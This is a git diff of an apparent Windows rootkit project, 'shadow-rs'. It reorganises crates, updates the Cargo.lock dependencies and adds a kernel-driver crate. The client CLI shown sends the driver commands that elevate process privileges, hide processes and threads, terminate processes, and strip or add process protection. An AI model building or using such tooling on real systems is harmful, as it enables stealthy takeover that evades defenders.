diff --git a/.gitignore b/.gitignore index e4f2f09..97a554b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,13 +1,12 @@ target -shared/target +backup + +crates/common/target +crates/shadowx/target client/target driver/target -shared/Cargo.lock +crates/common/Cargo.lock +crates/shadowx/Cargo.lock client/Cargo.lock -driver/Cargo.lock - -driver/src/backup -client/src/modules/memory.rs -driver/src/misc/memory.rs -backup \ No newline at end of file +driver/Cargo.lock \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 3fa2adf..2ab88ad 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -76,10 +76,51 @@ dependencies = [ ] [[package]] -name = "autocfg" -version = "1.3.0" +name = "anyhow" +version = "1.0.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0" +checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6" + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "bindgen" +version = "0.69.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" +dependencies = [ + "bitflags", + "cexpr", + "clang-sys", + "itertools", + "lazy_static", + "lazycell", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.79", + "which", +] + +[[package]] +name = "bitfield" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f798d2d157e547aa99aab0967df39edd0b70307312b6f8bd2848e6abe40896e0" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" [[package]] name = "bumpalo" @@ -88,14 +129,55 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c" [[package]] -name = "cc" -version = "1.1.21" +name = "camino" +version = "1.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0" +checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo-platform" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "cc" +version = "1.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e80e3b6a3ab07840e1cae9b0666a63970dc28e8ed5ffbcdacbfc760c281bfc1" dependencies = [ "shlex", ] +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + [[package]] name = "cfg-if" version = "1.0.0" @@ -117,20 +199,41 @@ dependencies = [ ] [[package]] -name = "clap" -version = "4.5.18" +name = "clang-sys" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "4.5.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97f376d85a664d5837dbae44bf546e6477a679ff6610010f17276f686d867e8" dependencies = [ "clap_builder", "clap_derive", ] [[package]] -name = "clap_builder" -version = "4.5.18" +name = "clap-cargo" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b" +checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e" +dependencies = [ + "anstyle", + "clap", +] + +[[package]] +name = "clap_builder" +version = "4.5.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19bc80abd44e4bed93ca373a0704ccbd1b710dc5749406201bb018272808dc54" dependencies = [ "anstream", "anstyle", @@ -147,7 +250,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -172,6 +275,14 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "common" +version = "0.1.0" +dependencies = [ + "ntapi", + "windows-sys 0.52.0", +] + [[package]] name = "core-foundation-sys" version = "0.8.7" @@ -232,12 +343,37 @@ dependencies = [ "log", ] +[[package]] +name = "errno" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + [[package]] name = "heck" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" +[[package]] +name = "home" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" +dependencies = [ + "windows-sys 0.52.0", +] + [[package]] name = "humantime" version = "2.1.0" @@ -274,10 +410,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" [[package]] -name = "js-sys" -version = "0.3.70" +name = "itertools" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b" + +[[package]] +name = "js-sys" +version = "0.3.71" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cb94a0ffd3f3ee755c20f7d8752f45cac88605a4dcf808abcff72873296ec7b" dependencies = [ "wasm-bindgen", ] @@ -287,12 +438,47 @@ name = "lazy_static" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.158" +version = "0.2.159" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439" +checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5" + +[[package]] +name = "libloading" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4" +dependencies = [ + "cfg-if", + "windows-targets 0.52.6", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89" + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] [[package]] name = "log" @@ -300,12 +486,46 @@ version = "0.4.22" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + [[package]] name = "memchr" version = "2.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" +[[package]] +name = "microseh" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "434c4ca971bcd27ed5c8bf9a2e24aa9fcb9affc2e67696b44a80b98f3b46a015" +dependencies = [ + "cc", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + [[package]] name = "ntapi" version = "0.4.1" @@ -315,6 +535,16 @@ dependencies = [ "winapi", ] +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + [[package]] name = "num-traits" version = "0.2.19" @@ -325,16 +555,44 @@ dependencies = [ ] [[package]] -name = "once_cell" -version = "1.19.0" +name = "obfstr" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" +checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pin-project-lite" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02" + +[[package]] +name = "prettyplease" +version = "0.2.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba" +dependencies = [ + "proc-macro2", + "syn 2.0.79", +] [[package]] name = "proc-macro2" -version = "1.0.86" +version = "1.0.87" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77" +checksum = "b3e4daa0dcf6feba26f985457cdf104d4b4256fc5a09547140f3631bb076b19a" dependencies = [ "unicode-ident", ] @@ -370,53 +628,166 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.6" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619" +checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8" dependencies = [ "aho-corasick", "memchr", - "regex-automata", - "regex-syntax", + "regex-automata 0.4.8", + "regex-syntax 0.8.5", ] [[package]] name = "regex-automata" -version = "0.4.7" +version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" dependencies = [ "aho-corasick", "memchr", - "regex-syntax", + "regex-syntax 0.8.5", ] [[package]] name = "regex-syntax" -version = "0.8.4" +version = "0.6.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" [[package]] -name = "shadow" +name = "regex-syntax" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustix" +version = "0.38.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8acb788b847c24f28525660c4d7758620a7210875711f79e7f663cc152726811" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustversion" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "955d28af4278de8121b7ebeb796b6a45735dc01436d898801014aced2773a3d6" + +[[package]] +name = "ryu" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.210" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.210" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "serde_json" +version = "1.0.128" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "shadow-rs" version = "0.1.0" dependencies = [ "chrono", "clap", "colored", + "common", "env_logger", "log", - "shared", "sysinfo", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] -name = "shared" +name = "shadowx" version = "0.1.0" dependencies = [ + "bitfield", + "common", + "log", + "microseh", "ntapi", - "windows-sys 0.52.0", + "obfstr", + "spin", + "thiserror-no-std", + "wdk", + "wdk-alloc", + "wdk-panic", + "wdk-sys", + "winapi", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", ] [[package]] @@ -425,6 +796,21 @@ version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + [[package]] name = "strsim" version = "0.11.1" @@ -433,9 +819,20 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" -version = "2.0.77" +version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590" dependencies = [ "proc-macro2", "quote", @@ -453,7 +850,106 @@ dependencies = [ "memchr", "ntapi", "rayon", - "windows", + "windows 0.57.0", +] + +[[package]] +name = "thiserror" +version = "1.0.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "thiserror-impl-no-std" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58e6318948b519ba6dc2b442a6d0b904ebfb8d411a3ad3e07843615a72249758" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "thiserror-no-std" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3ad459d94dd517257cc96add8a43190ee620011bb6e6cdc82dafd97dfafafea" +dependencies = [ + "thiserror-impl-no-std", +] + +[[package]] +name = "thread_local" +version = "1.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", ] [[package]] @@ -469,10 +965,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" [[package]] -name = "wasm-bindgen" -version = "0.2.93" +name = "valuable" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "wasm-bindgen" +version = "0.2.94" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef073ced962d62984fb38a36e5fdc1a2b23c9e0e1fa0689bb97afa4202ef6887" dependencies = [ "cfg-if", "once_cell", @@ -481,24 +983,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.93" +version = "0.2.94" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b" +checksum = "c4bfab14ef75323f4eb75fa52ee0a3fb59611977fd3240da19b2cf36ff85030e" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn", + "syn 2.0.79", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-macro" -version = "0.2.93" +version = "0.2.94" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf" +checksum = "a7bec9830f60924d9ceb3ef99d55c155be8afa76954edffbb5936ff4509474e7" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -506,22 +1008,104 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.93" +version = "0.2.94" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836" +checksum = "4c74f6e152a76a2ad448e223b0fc0b6b5747649c3d769cc6bf45737bf97d0ed6" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.93" +version = "0.2.94" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484" +checksum = "a42f6c679374623f295a8623adfe63d9284091245c3504bde47c17a3ce2777d9" + +[[package]] +name = "wdk" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e255fa09cb7395c5f9b8c72831347c9b77aa51fc66c3f44eb5d097a44122e9f" +dependencies = [ + "wdk-build", + "wdk-sys", +] + +[[package]] +name = "wdk-alloc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00c3180aa54fa2e30ecfd52a9e40210e634c09f760658cf8793ef0bf2ee7d917" +dependencies = [ + "wdk-sys", +] + +[[package]] +name = "wdk-build" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78da0616ae3b04f9488d250e8b087b7b332e7f1f18b4c7bcedebf7aea6231594" +dependencies = [ + "bindgen", + "cargo_metadata", + "clap", + "clap-cargo", + "rustversion", + "serde", + "serde_json", + "thiserror", + "windows 0.52.0", +] + +[[package]] +name = "wdk-macros" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65a27743e45f2bacdc8a778482a52ea2fda527bdac95bad5086cee080441b2da" +dependencies = [ + "cfg-if", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "wdk-panic" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f56558972c0d7069aa3b2b409752e65db7ba3fd24fcffc3887d19b6e48585e4" + +[[package]] +name = "wdk-sys" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36c6fbc666a0535164ebbb16cff321ee2cac38636aa6b9f1712148388f401087" +dependencies = [ + "anyhow", + "bindgen", + "lazy_static", + "rustversion", + "thiserror", + "tracing-subscriber", + "wdk-build", + "wdk-macros", +] + +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] [[package]] name = "winapi" @@ -545,6 +1129,16 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" +dependencies = [ + "windows-core 0.52.0", + "windows-targets 0.52.6", +] + [[package]] name = "windows" version = "0.57.0" @@ -584,7 +1178,7 @@ checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -595,7 +1189,7 @@ checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -625,6 +1219,15 @@ dependencies = [ "windows-targets 0.52.6", ] +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + [[package]] name = "windows-targets" version = "0.48.5" diff --git a/Cargo.toml b/Cargo.toml index 1ceaa55..572d79b 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,3 +1,3 @@ [workspace] -members = ["client", "shared"] +members = ["client", "crates/common", "crates/shadowx"] exclude = ["driver"] diff --git a/client/Cargo.toml b/client/Cargo.toml index d40f91e..fecc475 100644 --- a/client/Cargo.toml +++ b/client/Cargo.toml @@ -1,17 +1,27 @@ [package] -name = "shadow" +name = "shadow-rs" version = "0.1.0" edition = "2021" [dependencies] -clap = { version = "4.5.6", features = ["derive"] } -windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] } -shared = { path = "../shared" } log = "0.4.22" -env_logger = { version = "0.11.5" } colored = "2.1.0" chrono = "0.4.38" sysinfo = "0.31.4" +common = { path = "../crates/common" } +env_logger = { version = "0.11.5" } +clap = { version = "4.5.6", features = ["derive"] } + +[dependencies.windows-sys] +version = "0.59.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_System_Diagnostics_Debug", + "Win32_System_IO", "Win32_System_Memory", + "Win32_System_Threading" +] [features] mapper = [] diff --git a/client/src/main.rs b/client/src/main.rs index 5c4f564..db2972f 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -1,7 +1,7 @@ use { cli::*, log::*, - shared::ioctls::*, + common::ioctls::*, utils::init_logger, clap::Parser, }; @@ -33,33 +33,33 @@ fn main() { let mut process = Process::new(); match sub_command { ProcessCommands::Elevate { pid } => { - process.elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS); + process.elevate_process(Some(pid), ELEVATE_PROCESS); } ProcessCommands::Hide { pid } => { - process.hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true); + process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, true); } ProcessCommands::Unhide { pid } => { - process.hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false); + process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, false); } ProcessCommands::Terminate { pid } => { - process.terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS); + process.terminate_process(Some(pid), TERMINATE_PROCESS); } ProcessCommands::Signature { pid, pt, sg } => { - process.signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt); + process.signature_process(Some(pid), SIGNATURE_PROCESS, sg, pt); } #[cfg(not(feature = "mapper"))] ProcessCommands::Protection { pid, add, remove } => { if *add { - process.protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true); + process.protection_process(Some(pid), PROTECTION_PROCESS, true); } else if *remove { - process.protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false); + process.protection_process(Some(pid), PROTECTION_PROCESS, false); } else { error!("No action provided"); } } ProcessCommands::Enumerate { list, type_ } => { if *list { - process.enumerate_process(IOCTL_ENUMERATION_PROCESS, type_); + process.enumerate_process(ENUMERATION_PROCESS, type_); } } }} @@ -68,24 +68,24 @@ fn main() { let thread = Thread::new(); match sub_command { ThreadCommands::Hide { tid } => { - thread.hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true); + thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, true); } ThreadCommands::Unhide { tid } => { - thread.hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false); + thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, false); } #[cfg(not(feature = "mapper"))] ThreadCommands::Protection { 